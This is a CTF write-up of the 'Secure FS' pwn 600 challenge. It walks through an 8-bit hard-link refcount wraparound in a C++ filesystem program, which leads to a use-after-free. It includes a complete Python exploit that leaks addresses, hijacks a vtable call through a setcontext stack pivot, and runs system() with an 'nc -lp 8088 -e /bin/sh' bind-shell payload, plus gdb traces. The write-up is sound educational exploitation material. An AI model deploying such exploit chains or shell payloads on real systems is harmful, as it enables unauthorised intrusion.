FR EN

Secure FS - pwn 600

<< Bunyan - pwn 200

The secure FS pwnable was a FS-like C++ app, compiled for x86_64 with PIC support. We found the vuln but didn't work out the sploit in time during the ctf. I still decided to make a write-up as the vuln is quite interesting. As no team successfully exploited the service, it isn't up anymore so I cannot be 100% sure about all offsets.

A quick glance at the assembly gives up C++ usage and the main password:

call __ZNSsC1Ev ; std::string::string(void)
lea rsi, aPassword ; "Password: "
mov rax, cs:_ZSt4cout_ptr
mov rdi, rax
call __ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc ; <<
lea rax, [rbp+var_20]
mov rsi, rax
mov rax, cs:_ZSt3cin_ptr
mov rdi, rax
call __ZStrsIcSt11char_traitsIcESaIcEERSt13basic_istreamIT_T0_ES7_RSbIS4_S5_T1_E ;>>
lea rax, [rbp+var_20]
lea rsi, aVe3yhtfw9tsffx ; "Ve3yhTFW9TsffX2J"
mov rdi, rax
call str_cmp

Here is a sample run of the program:

$ ./problem 
Password: Ve3yhTFW9TsffX2J
Welcome to the encrypted file system!

create [file] [xor|rc4] [key] Create file (xor or rc4)
ln [target] [linkname]     Create hard link
mkdir [dir]           Make directory
cat [file]           View file
edit [file] [key]     Edit file
rm [file]           Delete file
rmdir [dir]        Delete directory
ls [dir]           List directory
cd [dir]           Change directory
help           Show list of commands
exit           Exit

user@/$ create test xor 1
Data: A
user@/$ cat test
p
user@/$ ls
./
../
test
user@/$ ln test ln
user@/$ cat ln
p
user@/$ rm test
user@/$ cat ln
p
user@/$ exit
$

The FS supports directories, xored and rc4 files, as well as hard links to those files and removal of files and empty directories. The control flow of the main function is pretty straightforward: get a word from cin, compare to create, ln, etc. and call the associated function if any. Each function then gets its own parameters from cin. From there, we can search for the two main C++ exploitation vectors: classical overflow on c strings and virtual table corruption.

The c_str() function is used twice, once at 0x31B9 - within the file creation handler - and once at 0x3a24 - within the file edition handler. After that, the returned char * is used in a virtual call - roughly 10 instructions ahead. We guess that those virtual calls are here to handle the two different file types: xored and rc4 files. The virtual tables for both classes are at 0x20ab10 and 0x20aaf0 respectively. We can then get to those two functions - the first entry being the constructor. The xor function seems well rounded whereas the rc4 function does manipulate data on the stack, but its stack frame is protected by a cookie. No possible exploitation here from this first look so we move on to virtual table corruption possibilities.

To exploit heap corruption, we have to find a usable pointer which points to an already freed object on the heap. As virtual functions work on files only, we inspect the rm handler at 0x3ca3. Valid arguments take us to 0x3e04 which calls 0x47ca:

do_del_ref proc near
	push rbp
	mov rbp, rsp
	sub rsp, 10h
	mov [rbp+var_8], rdi
	mov rax, [rbp+var_8]
	movzx eax, byte ptr [rax+1010h]
	lea edx, [rax-1]
	mov rax, [rbp+var_8]
	mov [rax+1010h], dl
	mov rax, [rbp+var_8]
	movzx eax, byte ptr [rax+1010h]
	test al, al
	setz al
	test al, al
	jz short locret_480E
	mov rax, [rbp+var_8]
	mov rdi, rax
	call __ZdlPv ; operator delete(void *)

locret_480E:
	leave
	retn
do_del_ref endp

rdi points to the file object to be rm'd. We see that the object's offset 0x1010 seems to handle a reference counter. As expected, it is decremented and the file object itself is freed only if this counter is at 0. As this is probably to handle the number of hard links currently referencing the file, we take a look at the ln method. A valid ln goes at 0x3647 which calls 0x47a8:

sub_47A8 proc near
	push rbp
	mov rbp, rsp
	mov [rbp+var_8], rdi
	mov rax, [rbp+var_8]
	movzx eax, byte ptr [rax+1010h]
	lea edx, [rax+1]
	mov rax, [rbp+var_8]
	mov [rax+1010h], dl
	leave
	retn
sub_47A8 endp

As expected, ln does indeed increment the ref counter but just moves back dl in it. Therefore, if the counter is at 0xff references, it goes back to 0. Here is our heap corruption. We can create a file - counter = 1 - and add 256 references - counter = (256 + 1)%256 = 1 - and then remove the file to free its heap structure. Any of the remaining hard links would still point to the previous location.

Let's move on to the exploitation. Two ways to exploit this: double free() or virtual function hijack. I chose the latter one. For this write-up I wrote the exploit locally, with my own libc, and assumed ASLR was on. This does not change much besides the libc offsets, but the actual lib was provided anyway. What could change though is the size of the other libs. We had the versions of most of them in the relocation entries, so it could be calculated. We would have probably performed a tiny bruteforce on the libc base, as we know roughly where it is supposed to be and as it is always aligned to 0x1000.

A c++ structure contains the address of its virtual table and the files also contains pointers to their data. As we can disclose the heap with cat and get an arbitrary address executed with edit, we have almost everything we need to get past PIC + ASLR + NX.

The first entry of the file structure is the filename. As the virtual table is to be place just before the first entry, we can use the filename as a cookie to get its exact address. One has to keep in mind that ASLR randomizes the stack, heap and code segments separately. However, this means that, for a position-independent executable, the offset between its code base and any loaded lib's base does not vary.

So after testing different paddings for files overriding the corrupted heap space, we can get the address of the virtual table, and having the first randomized bytes, we can also deduce a fixed address on the heap :

#!/usr/bin/python

import sys
import struct
import subprocess
import re
import select

WAIT_ANSWER=1
def readAllFromPipe(sub, file):
	data=""
	sel = select.select([file], [], [])
	while 1:
		sel = select.select([file], [], [], WAIT_ANSWER)
		if len(sel[0]) == 0:
			break
		nd = sel[0][0].read(1)
		if len(nd) == 0:
			break
		data += nd
	return data

sub = subprocess.Popen(["./problem"], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
print >> sub.stdin, "Ve3yhTFW9TsffX2J"

def createDeadLinks(nbpaddingfiles, filename, linkname, pattern):
	key = "Z"
	cryptfunc="rc4"
	print >> sub.stdin, "\n".join(["create %s%x %s %s\n%s"% (filename, i, cryptfunc, key, "\x41") for i in range(0, nbpaddingfiles/2)])
	print >> sub.stdin, "create %s %s %s\n%s"% (filename, cryptfunc, key, "\x42"*4095) # ref cnt = 1
	print >> sub.stdin, "\n".join(["create %s%x %s %s\n%s"% (filename, i, cryptfunc, key, "\x41") for i in range(nbpaddingfiles/2, nbpaddingfiles)])

	# Freeing file with remaining hard links
	print >> sub.stdin, "\n".join(["ln %s %s%x"% (filename, linkname, i) for i in range(0, 256)]) # ref cnt = (0xff + 1) & 0xff
	print >> sub.stdin, "rm " + filename # ref cnt = 0 => entry freed

	# Repadding RC4 objects by XOR objects
	print >> sub.stdin, "\n".join(["rm %s%x"% (filename, i) for i in range(0, nbpaddingfiles)]) # ref cnt = (0xff + 1) & 0xff
	cryptfunc="xor"
	key = "\x00"
	print >> sub.stdin, "\n".join(["create %s%x %s %s\n%s"% (filename, i, cryptfunc, key, pattern) for i in range(0, nbpaddingfiles+5)])

pattern=struct.pack("<Q", 0xdeadbeef15dead) 
createDeadLinks(2, "F", "L", pattern)
# heap disclosure
print >> sub.stdin, "cat L42"

# Getting exe and heap base
data = readAllFromPipe(sub, sub.stdout)
pat = re.search("(......\x00\x00)" + pattern, data)
if pat != None:
	xorfiledata = struct.unpack("<Q", pat.group(1))[0] - 16
else:
	print "[-] Unable to find exe base"
	sys.exit(1)
exe_base = xorfiledata - 0x20AB10 
print "[+] .text base = " + hex(exe_base)
libc_base = exe_base - 0xd48000
print "[+] libc base = " + hex(libc_base)

pat = re.search("(\xf0...%s\x00\x00)"%(struct.pack("<Q", exe_base)[4:6]), data)
if pat != None and len(pat.group(1)) == 8:
	heap_base=struct.unpack("<Q", pat.group(1))[0] - 0xc3f0
else:
	print "[-] Unable to find heap base"
	sys.exit(1)
print "[+] heap base = " + hex(heap_base)

print >> sub.stdin, "help\nexit"

And we check that it actually works:

$ ./sfs-sploit.py
[+] .text base = 0x7f53bdcb6000
[+] libc base = 0x7f53bcf6e000
[+] heap base = 0x7f53bf379000
$ ./sfs-sploit.py
[+] .text base = 0x7fb6aad0d000
[+] libc base = 0x7fb6a9fc5000
[+] heap base = 0x7fb6ac171000
$

Once again, I did this with my own libs, so the offsets may not be right but can be calculated or bf'ed. Now that we know fixed addresses, we inspect what we actually control at the time of the virtual call. This time, we create way more padding files with large payloads to ensure that most of the heap space we control is overwritten by arbitrary data:

createDeadLinks(22, "G"*0x1002, "M"*0x1003, "A"*4095)
print >> sub.stdin, "edit %s42 A\n%s"% ("M"*0x1003, "B"*4095)

Checking with gdb:

Program received signal SIGSEGV, Segmentation fault.
0x0000555555557a34 in ?? ()
(gdb) x/10i $rip-6
	0x555555557a2e:	mov -0x48(%rbp),%eax
	0x555555557a31:	mov (%rax),%rax
	=> 0x555555557a34:	mov (%rax),%rbx
	0x555555557a37:	lea -0x30(%rbp),%rax
	0x555555557a3b:	mov %rax,%rdi
	0x555555557a3e:	callq 0x5555555560b0 <_ZNKSs4sizeEv@plt>
	0x555555557a43:	mov %rax,%rdx
	0x555555557a46:	mov -0x50(%rbp),%rcx
	0x555555557a4a:	mov -0x48(%rbp),%rax
	0x555555557a4e:	mov %rcx,%rsi
(gdb) i r
	rax 0x4141414141414141
	rbx 0x0
	rcx 0xfff
	rdx 0x7ffff7639e00
	rsi 0x0
	rdi 0x7fffffffe2b0
	rbp 0x7fffffffe2e0
	rsp 0x7fffffffe280
	r8 0x7ffff7fd5720
	r9 0x7ffff7fd5720
	r10 0x4d4d4d4d4d4d4d4d
	r11 0x246
	r12 0x555555556390
	r13 0x7fffffffe440
	r14 0x0
	r15 0x0
	rip 0x555555557a34
eflags 0x10206	[ PF IF RF ]
(gdb) x/xg $rbp-0x48
0x7fffffffe298:	0x0000555555799740
(gdb) x/2xg 0x0000555555799740
0x555555799740:	0x4141414141414141	0x4242424242424242
(gdb)

For this first step, we didn't make it to the virtual call. We control rax which has to be a valid address as it is supposed to point to the virtual function. We also control rcx and r10 but those do not seem to help. However, we know that rax is taken from offset 0x39740 on the heap and that it is the end of our padding files' data. After that starts the content we are currently adding to the file. Studying the filename with a pattern shows that rax is at offset 4040. Let's try and get to the virtual call by setting rax to the filename's address:

new_stack = heap_base + 0x39748
createDeadLinks(2*11, "G"*0x1002, "M"*0x1003, "A"*4040 + struct.pack("<Q", new_stack))
print >> sub.stdin, "edit %s42 A\n%s"% ("M"*0x1003, "B"*4095)

Can we make it to the virtual call?

Program received signal SIGSEGV, Segmentation fault.
0x0000555555557a54 in ?? ()
(gdb) x/i $rip
	=> 0x555555557a54:	callq *%rbx
(gdb) i r
	rax 0x555555799740
	rbx 0x4242424242424242
	rcx 0x555555760138
	rdx 0x1
	rsi 0x555555760138
	rdi 0x555555799740
	rbp 0x7fffffffe2e0
	rsp 0x7fffffffe280
	r8 0x7ffff7fd5720
	r9 0x7ffff7fd5720
	r10 0x4d4d4d4d4d4d4d4d
	r11 0x246
	r12 0x555555556390
	r13 0x7fffffffe440
	r14 0x0
	r15 0x0
	rip 0x555555557a54
	eflags 0x10206	[ PF IF RF ]
(gdb)

Yes, we can ->[] But the only valuable register we control is rbx and we don't have any data on the stack. I did not find pretty chunks in the exe code - dit not search for long though. This is a pretty tough situation, but as often, setcontext as your back:

0x3f7e5 <setcontext+53>:
	mov 0xa0(%rdi),%rsp
	mov 0x80(%rdi),%rbx
	mov 0x78(%rdi),%rbp
	mov 0x48(%rdi),%r12
	mov 0x50(%rdi),%r13
	mov 0x58(%rdi),%r14
	mov 0x60(%rdi),%r15
	mov 0xa8(%rdi),%rcx
	push %rcx
	mov 0x70(%rdi),%rsi
	mov 0x88(%rdi),%rdx
	mov 0x98(%rdi),%rcx
	mov 0x28(%rdi),%r8
	mov 0x30(%rdi),%r9
	mov 0x68(%rdi),%rdi
	xor %eax,%eax
	retq

As rdi points to a valid location we control - and oh miracle to the address we injected in rax -, we can hijack the stack. This chunk sets rdi to *rdi + 0x68 and returns into rcx - *rdi + 0xa8. This is everything we need to perform a simple call to system():

mov_stack = libc_base + 0x3f7e5
system = libc_base + 0x3ed80
new_stack = heap_base + 0x39748

cmd = "nc -lp 8088 -e /bin/sh\x00"

createDeadLinks(22, "G"*0x1002, "M"*0x1003, "A"*4040 + struct.pack("<Q", new_stack))
print "[+] Launching sploit"
print >> sub.stdin, "edit %s42 A\n%s"% ("M"*0x1003, struct.pack("<Q", mov_stack)*2 + cmd + "A"*57 + struct.pack("<Q", new_stack + 0x10) + "A"*(136-len(cmd)-57-8) + struct.pack("<Q", new_stack + 8) + struct.pack("<Q", system))
readAllFromPipe(sub, sub.stdout) # get past messages
start=time.time()
readAllFromPipe(sub, sub.stdout)
if time.time() - start <= 1:
	print "[-] Exploit Failed"

Hopefully our last shot:

$ ./sfs-sploit.py
[+] .text base = 0x7f77a377f000
[+] libc base = 0x7f77a2a37000
[+] heap base = 0x7f77a558d000
[+] Launching sploit

No fail is a good start..

$ nc -v localhost 8088
localhost [127.0.0.1] 8088 (omniorb) open
echo $0
sh
exit
$

And here it is. Too bad we couldn't make it in time this week-end, but still a really fun pwnable from PPP, as always.

<< Bunyan - pwn 200

2 messages

  1. FrizN 30/05/12 13:56

    The thing is, you don't need an actual bruteforce. Even if the difference between the .text and libc base is possibly not the same as for my system, it remains constant for all executions. One can do a tiny bruteforce around my value, += 0x10000 for example, with a step of 0x1000. It is still pretty quick in practice.

  2. Anonyme 30/05/12 09:39

    Good work, but I'm still a little sceptic regarding the libc bruteforce required in a remote context. It just does not seem practical to me.